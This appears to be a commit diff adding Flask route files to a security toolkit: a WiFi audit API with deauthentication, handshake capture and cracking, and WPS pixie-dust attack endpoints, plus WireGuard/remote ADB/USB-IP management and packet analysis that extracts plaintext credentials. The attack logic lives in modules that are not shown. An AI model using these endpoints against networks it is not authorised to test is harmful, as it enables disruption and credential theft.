|
||||
from web.auth import login_required
|
||||
|
||||
wifi_audit_bp = Blueprint('wifi_audit', __name__, url_prefix='/wifi')
|
||||
|
||||
def _get_auditor():
|
||||
from modules.wifi_audit import get_wifi_auditor
|
||||
return get_wifi_auditor()
|
||||
|
||||
@wifi_audit_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('wifi_audit.html')
|
||||
|
||||
@wifi_audit_bp.route('/tools')
|
||||
@login_required
|
||||
def tools_status():
|
||||
return jsonify(_get_auditor().get_tools_status())
|
||||
|
||||
@wifi_audit_bp.route('/interfaces')
|
||||
@login_required
|
||||
def interfaces():
|
||||
return jsonify(_get_auditor().get_interfaces())
|
||||
|
||||
@wifi_audit_bp.route('/monitor/enable', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_enable():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_auditor().enable_monitor(data.get('interface', '')))
|
||||
|
||||
@wifi_audit_bp.route('/monitor/disable', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_disable():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_auditor().disable_monitor(data.get('interface')))
|
||||
|
||||
@wifi_audit_bp.route('/scan', methods=['POST'])
|
||||
@login_required
|
||||
def scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_auditor().scan_networks(
|
||||
interface=data.get('interface'),
|
||||
duration=data.get('duration', 15)
|
||||
))
|
||||
|
||||
@wifi_audit_bp.route('/scan/results')
|
||||
@login_required
|
||||
def scan_results():
|
||||
return jsonify(_get_auditor().get_scan_results())
|
||||
|
||||
@wifi_audit_bp.route('/deauth', methods=['POST'])
|
||||
@login_required
|
||||
def deauth():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_auditor().deauth(
|
||||
interface=data.get('interface'),
|
||||
bssid=data.get('bssid', ''),
|
||||
client=data.get('client'),
|
||||
count=data.get('count', 10)
|
||||
))
|
||||
|
||||
@wifi_audit_bp.route('/handshake', methods=['POST'])
|
||||
@login_required
|
||||
def capture_handshake():
|
||||
data = request.get_json(silent=True) or {}
|
||||
a = _get_auditor()
|
||||
job_id = a.capture_handshake(
|
||||
interface=data.get('interface', a.monitor_interface or ''),
|
||||
bssid=data.get('bssid', ''),
|
||||
channel=data.get('channel', 1),
|
||||
deauth_count=data.get('deauth_count', 5),
|
||||
timeout=data.get('timeout', 60)
|
||||
)
|
||||
return jsonify({'ok': True, 'job_id': job_id})
|
||||
|
||||
@wifi_audit_bp.route('/crack', methods=['POST'])
|
||||
@login_required
|
||||
def crack():
|
||||
data = request.get_json(silent=True) or {}
|
||||
job_id = _get_auditor().crack_handshake(
|
||||
data.get('capture_file', ''), data.get('wordlist', ''), data.get('bssid')
|
||||
)
|
||||
return jsonify({'ok': bool(job_id), 'job_id': job_id})
|
||||
|
||||
@wifi_audit_bp.route('/wps/scan', methods=['POST'])
|
||||
@login_required
|
||||
def wps_scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_auditor().wps_scan(data.get('interface')))
|
||||
|
||||
@wifi_audit_bp.route('/wps/attack', methods=['POST'])
|
||||
@login_required
|
||||
def wps_attack():
|
||||
data = request.get_json(silent=True) or {}
|
||||
a = _get_auditor()
|
||||
job_id = a.wps_attack(
|
||||
interface=data.get('interface', a.monitor_interface or ''),
|
||||
bssid=data.get('bssid', ''),
|
||||
channel=data.get('channel', 1),
|
||||
pixie_dust=data.get('pixie_dust', True)
|
||||
)
|
||||
return jsonify({'ok': bool(job_id), 'job_id': job_id})
|
||||
|
||||
@wifi_audit_bp.route('/rogue/save', methods=['POST'])
|
||||
@login_required
|
||||
def rogue_save():
|
||||
return jsonify(_get_auditor().save_known_aps())
|
||||
|
||||
@wifi_audit_bp.route('/rogue/detect')
|
||||
@login_required
|
||||
def rogue_detect():
|
||||
return jsonify(_get_auditor().detect_rogue_aps())
|
||||
|
||||
@wifi_audit_bp.route('/capture/start', methods=['POST'])
|
||||
@login_required
|
||||
def capture_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_auditor().start_capture(
|
||||
data.get('interface'), data.get('channel'), data.get('bssid'), data.get('name')
|
||||
))
|
||||
|
||||
@wifi_audit_bp.route('/capture/stop', methods=['POST'])
|
||||
@login_required
|
||||
def capture_stop():
|
||||
return jsonify(_get_auditor().stop_capture())
|
||||
|
||||
@wifi_audit_bp.route('/captures')
|
||||
@login_required
|
||||
def captures_list():
|
||||
return jsonify(_get_auditor().list_captures())
|
||||
|
||||
@wifi_audit_bp.route('/job/<job_id>')
|
||||
@login_required
|
||||
def job_status(job_id):
|
||||
job = _get_auditor().get_job(job_id)
|
||||
return jsonify(job or {'error': 'Job not found'})
|
||||
256
web/routes/wireguard.py
Normal file
256
web/routes/wireguard.py
Normal file
@@ -0,0 +1,256 @@
|
||||
"""WireGuard VPN Manager routes — server, clients, remote ADB, USB/IP."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
wireguard_bp = Blueprint('wireguard', __name__, url_prefix='/wireguard')
|
||||
|
||||
|
||||
def _mgr():
|
||||
from core.wireguard import get_wireguard_manager
|
||||
return get_wireguard_manager()
|
||||
|
||||
|
||||
def _json():
|
||||
"""Get JSON body or empty dict."""
|
||||
return request.get_json(silent=True) or {}
|
||||
|
||||
|
||||
# ── Main Page ────────────────────────────────────────────────────────
|
||||
|
||||
@wireguard_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
mgr = _mgr()
|
||||
available = mgr.is_available()
|
||||
usbip = mgr.get_usbip_status()
|
||||
return render_template('wireguard.html',
|
||||
wg_available=available,
|
||||
usbip_status=usbip)
|
||||
|
||||
|
||||
# ── Server ───────────────────────────────────────────────────────────
|
||||
|
||||
@wireguard_bp.route('/server/status', methods=['POST'])
|
||||
@login_required
|
||||
def server_status():
|
||||
return jsonify(_mgr().get_server_status())
|
||||
|
||||
|
||||
@wireguard_bp.route('/server/start', methods=['POST'])
|
||||
@login_required
|
||||
def server_start():
|
||||
return jsonify(_mgr().start_interface())
|
||||
|
||||
|
||||
@wireguard_bp.route('/server/stop', methods=['POST'])
|
||||
@login_required
|
||||
def server_stop():
|
||||
return jsonify(_mgr().stop_interface())
|
||||
|
||||
|
||||
@wireguard_bp.route('/server/restart', methods=['POST'])
|
||||
@login_required
|
||||
def server_restart():
|
||||
return jsonify(_mgr().restart_interface())
|
||||
|
||||
|
||||
# ── Clients ──────────────────────────────────────────────────────────
|
||||
|
||||
@wireguard_bp.route('/clients/list', methods=['POST'])
|
||||
@login_required
|
||||
def clients_list():
|
||||
mgr = _mgr()
|
||||
clients = mgr.get_all_clients()
|
||||
peer_status = mgr.get_peer_status()
|
||||
# Merge peer status into client data
|
||||
for c in clients:
|
||||
ps = peer_status.get(c.get('public_key', ''), {})
|
||||
c['peer_status'] = ps
|
||||
hs = ps.get('latest_handshake')
|
||||
if hs is not None and hs < 180:
|
||||
c['online'] = True
|
||||
else:
|
||||
c['online'] = False
|
||||
return jsonify({'clients': clients, 'count': len(clients)})
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/create', methods=['POST'])
|
||||
@login_required
|
||||
def clients_create():
|
||||
data = _json()
|
||||
name = data.get('name', '').strip()
|
||||
if not name:
|
||||
return jsonify({'ok': False, 'error': 'Name required'})
|
||||
dns = data.get('dns', '').strip() or None
|
||||
allowed_ips = data.get('allowed_ips', '').strip() or None
|
||||
return jsonify(_mgr().create_client(name, dns=dns, allowed_ips=allowed_ips))
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/<client_id>', methods=['POST'])
|
||||
@login_required
|
||||
def clients_detail(client_id):
|
||||
mgr = _mgr()
|
||||
client = mgr.get_client(client_id)
|
||||
if not client:
|
||||
return jsonify({'error': 'Client not found'})
|
||||
peer_status = mgr.get_peer_status()
|
||||
ps = peer_status.get(client.get('public_key', ''), {})
|
||||
client['peer_status'] = ps
|
||||
hs = ps.get('latest_handshake')
|
||||
client['online'] = hs is not None and hs < 180
|
||||
return jsonify(client)
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/<client_id>/toggle', methods=['POST'])
|
||||
@login_required
|
||||
def clients_toggle(client_id):
|
||||
data = _json()
|
||||
enabled = data.get('enabled', True)
|
||||
return jsonify(_mgr().toggle_client(client_id, enabled))
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/<client_id>/delete', methods=['POST'])
|
||||
@login_required
|
||||
def clients_delete(client_id):
|
||||
return jsonify(_mgr().delete_client(client_id))
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/<client_id>/config', methods=['POST'])
|
||||
@login_required
|
||||
def clients_config(client_id):
|
||||
mgr = _mgr()
|
||||
client = mgr.get_client(client_id)
|
||||
if not client:
|
||||
return jsonify({'error': 'Client not found'})
|
||||
config_text = mgr.generate_client_config(client)
|
||||
return jsonify({'ok': True, 'config': config_text, 'name': client['name']})
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/<client_id>/download')
|
||||
@login_required
|
||||
def clients_download(client_id):
|
||||
mgr = _mgr()
|
||||
client = mgr.get_client(client_id)
|
||||
if not client:
|
||||
return 'Not found', 404
|
||||
config_text = mgr.generate_client_config(client)
|
||||
filename = f"{client['name']}.conf"
|
||||
return Response(
|
||||
config_text,
|
||||
mimetype='text/plain',
|
||||
headers={'Content-Disposition': f'attachment; filename="{filename}"'})
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/<client_id>/qr')
|
||||
@login_required
|
||||
def clients_qr(client_id):
|
||||
mgr = _mgr()
|
||||
client = mgr.get_client(client_id)
|
||||
if not client:
|
||||
return 'Not found', 404
|
||||
config_text = mgr.generate_client_config(client)
|
||||
png_bytes = mgr.generate_qr_code(config_text)
|
||||
if not png_bytes:
|
||||
return 'QR code generation failed (qrcode module missing?)', 500
|
||||
return Response(png_bytes, mimetype='image/png')
|
||||
|
||||
|
||||
@wireguard_bp.route('/clients/import', methods=['POST'])
|
||||
@login_required
|
||||
def clients_import():
|
||||
return jsonify(_mgr().import_existing_peers())
|
||||
|
||||
|
||||
# ── Remote ADB ───────────────────────────────────────────────────────
|
||||
|
||||
@wireguard_bp.route('/adb/connect', methods=['POST'])
|
||||
@login_required
|
||||
def adb_connect():
|
||||
data = _json()
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip:
|
||||
return jsonify({'ok': False, 'error': 'IP required'})
|
||||
return jsonify(_mgr().adb_connect(ip))
|
||||
|
||||
|
||||
@wireguard_bp.route('/adb/disconnect', methods=['POST'])
|
||||
@login_required
|
||||
def adb_disconnect():
|
||||
data = _json()
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip:
|
||||
return jsonify({'ok': False, 'error': 'IP required'})
|
||||
return jsonify(_mgr().adb_disconnect(ip))
|
||||
|
||||
|
||||
@wireguard_bp.route('/adb/auto-connect', methods=['POST'])
|
||||
@login_required
|
||||
def adb_auto_connect():
|
||||
return jsonify(_mgr().auto_connect_peers())
|
||||
|
||||
|
||||
@wireguard_bp.route('/adb/devices', methods=['POST'])
|
||||
@login_required
|
||||
def adb_devices():
|
||||
devices = _mgr().get_adb_remote_devices()
|
||||
return jsonify({'devices': devices, 'count': len(devices)})
|
||||
|
||||
|
||||
# ── USB/IP ───────────────────────────────────────────────────────────
|
||||
|
||||
@wireguard_bp.route('/usbip/status', methods=['POST'])
|
||||
@login_required
|
||||
def usbip_status():
|
||||
return jsonify(_mgr().get_usbip_status())
|
||||
|
||||
|
||||
@wireguard_bp.route('/usbip/load-modules', methods=['POST'])
|
||||
@login_required
|
||||
def usbip_load_modules():
|
||||
return jsonify(_mgr().load_usbip_modules())
|
||||
|
||||
|
||||
@wireguard_bp.route('/usbip/list-remote', methods=['POST'])
|
||||
@login_required
|
||||
def usbip_list_remote():
|
||||
data = _json()
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip:
|
||||
return jsonify({'ok': False, 'error': 'IP required'})
|
||||
return jsonify(_mgr().usbip_list_remote(ip))
|
||||
|
||||
|
||||
@wireguard_bp.route('/usbip/attach', methods=['POST'])
|
||||
@login_required
|
||||
def usbip_attach():
|
||||
data = _json()
|
||||
ip = data.get('ip', '').strip()
|
||||
busid = data.get('busid', '').strip()
|
||||
if not ip or not busid:
|
||||
return jsonify({'ok': False, 'error': 'IP and busid required'})
|
||||
return jsonify(_mgr().usbip_attach(ip, busid))
|
||||
|
||||
|
||||
@wireguard_bp.route('/usbip/detach', methods=['POST'])
|
||||
@login_required
|
||||
def usbip_detach():
|
||||
data = _json()
|
||||
port = data.get('port', '').strip() if isinstance(data.get('port'), str) else str(data.get('port', ''))
|
||||
if not port:
|
||||
return jsonify({'ok': False, 'error': 'Port required'})
|
||||
return jsonify(_mgr().usbip_detach(port))
|
||||
|
||||
|
||||
@wireguard_bp.route('/usbip/ports', methods=['POST'])
|
||||
@login_required
|
||||
def usbip_ports():
|
||||
return jsonify(_mgr().usbip_port_status())
|
||||
|
||||
|
||||
# ── UPnP ─────────────────────────────────────────────────────────────
|
||||
|
||||
@wireguard_bp.route('/upnp/refresh', methods=['POST'])
|
||||
@login_required
|
||||
def upnp_refresh():
|
||||
return jsonify(_mgr().refresh_upnp_mapping())
|
||||
193
web/routes/wireshark.py
Normal file
193
web/routes/wireshark.py
Normal file
@@ -0,0 +1,193 @@
|
||||
"""Wireshark/Packet Analysis route - capture, PCAP analysis, protocol/DNS/HTTP/credential analysis."""
|
||||
|
||||
import json
|
||||
from pathlib import Path
|
||||
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
|
||||
from web.auth import login_required
|
||||
|
||||
wireshark_bp = Blueprint('wireshark', __name__, url_prefix='/wireshark')
|
||||
|
||||
|
||||
@wireshark_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
status = mgr.get_status()
|
||||
return render_template('wireshark.html', status=status)
|
||||
|
||||
|
||||
@wireshark_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
"""Get engine status."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify(mgr.get_status())
|
||||
|
||||
|
||||
@wireshark_bp.route('/interfaces')
|
||||
@login_required
|
||||
def interfaces():
|
||||
"""List network interfaces."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify({'interfaces': mgr.list_interfaces()})
|
||||
|
||||
|
||||
@wireshark_bp.route('/capture/start', methods=['POST'])
|
||||
@login_required
|
||||
def capture_start():
|
||||
"""Start packet capture."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
|
||||
data = request.get_json(silent=True) or {}
|
||||
interface = data.get('interface', '').strip() or None
|
||||
bpf_filter = data.get('filter', '').strip() or None
|
||||
duration = int(data.get('duration', 30))
|
||||
|
||||
result = mgr.start_capture(
|
||||
interface=interface,
|
||||
bpf_filter=bpf_filter,
|
||||
duration=duration,
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@wireshark_bp.route('/capture/stop', methods=['POST'])
|
||||
@login_required
|
||||
def capture_stop():
|
||||
"""Stop running capture."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify(mgr.stop_capture())
|
||||
|
||||
|
||||
@wireshark_bp.route('/capture/stats')
|
||||
@login_required
|
||||
def capture_stats():
|
||||
"""Get capture statistics."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify(mgr.get_capture_stats())
|
||||
|
||||
|
||||
@wireshark_bp.route('/capture/stream')
|
||||
@login_required
|
||||
def capture_stream():
|
||||
"""SSE stream of live capture packets."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
|
||||
def generate():
|
||||
import time
|
||||
last_count = 0
|
||||
while mgr._capture_running:
|
||||
stats = mgr.get_capture_stats()
|
||||
count = stats.get('packet_count', 0)
|
||||
|
||||
if count > last_count:
|
||||
# Send new packets
|
||||
new_packets = mgr._capture_packets[last_count:count]
|
||||
for pkt in new_packets:
|
||||
yield f'data: {json.dumps({"type": "packet", **pkt})}\n\n'
|
||||
last_count = count
|
||||
|
||||
yield f'data: {json.dumps({"type": "stats", "packet_count": count, "running": True})}\n\n'
|
||||
time.sleep(0.5)
|
||||
|
||||
# Final stats
|
||||
stats = mgr.get_capture_stats()
|
||||
yield f'data: {json.dumps({"type": "done", **stats})}\n\n'
|
||||
|
||||
return Response(stream_with_context(generate()), content_type='text/event-stream')
|
||||
|
||||
|
||||
@wireshark_bp.route('/pcap/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_pcap():
|
||||
"""Analyze a PCAP file (by filepath)."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
|
||||
data = request.get_json(silent=True) or {}
|
||||
filepath = data.get('filepath', '').strip()
|
||||
max_packets = int(data.get('max_packets', 5000))
|
||||
|
||||
if not filepath:
|
||||
return jsonify({'error': 'No filepath provided'})
|
||||
|
||||
p = Path(filepath)
|
||||
if not p.exists():
|
||||
return jsonify({'error': f'File not found: {filepath}'})
|
||||
if not p.suffix.lower() in ('.pcap', '.pcapng', '.cap'):
|
||||
return jsonify({'error': 'File must be .pcap, .pcapng, or .cap'})
|
||||
|
||||
result = mgr.read_pcap(filepath, max_packets=max_packets)
|
||||
|
||||
# Limit packet list sent to browser
|
||||
if 'packets' in result and len(result['packets']) > 500:
|
||||
result['packets'] = result['packets'][:500]
|
||||
result['truncated'] = True
|
||||
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@wireshark_bp.route('/analyze/protocols', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_protocols():
|
||||
"""Get protocol hierarchy from loaded packets."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify(mgr.get_protocol_hierarchy())
|
||||
|
||||
|
||||
@wireshark_bp.route('/analyze/conversations', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_conversations():
|
||||
"""Get IP conversations."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify({'conversations': mgr.extract_conversations()})
|
||||
|
||||
|
||||
@wireshark_bp.route('/analyze/dns', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_dns():
|
||||
"""Get DNS queries."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify({'queries': mgr.extract_dns_queries()})
|
||||
|
||||
|
||||
@wireshark_bp.route('/analyze/http', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_http():
|
||||
"""Get HTTP requests."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify({'requests': mgr.extract_http_requests()})
|
||||
|
||||
|
||||
@wireshark_bp.route('/analyze/credentials', methods=['POST'])
|
||||
@login_required
|
||||
def analyze_credentials():
|
||||
"""Detect plaintext credentials."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
return jsonify({'credentials': mgr.extract_credentials()})
|
||||
|
||||
|
||||
@wireshark_bp.route('/export', methods=['POST'])
|
||||
@login_required
|
||||
def export():
|
||||
"""Export packets."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
|
||||
data = request.get_json(silent=True) or {}
|
||||
fmt = data.get('format', 'json')
|
||||
|
||||
result = mgr.export_packets(fmt=fmt)
|
||||
return jsonify(result)
|
||||
Reference in New Issue
Block a user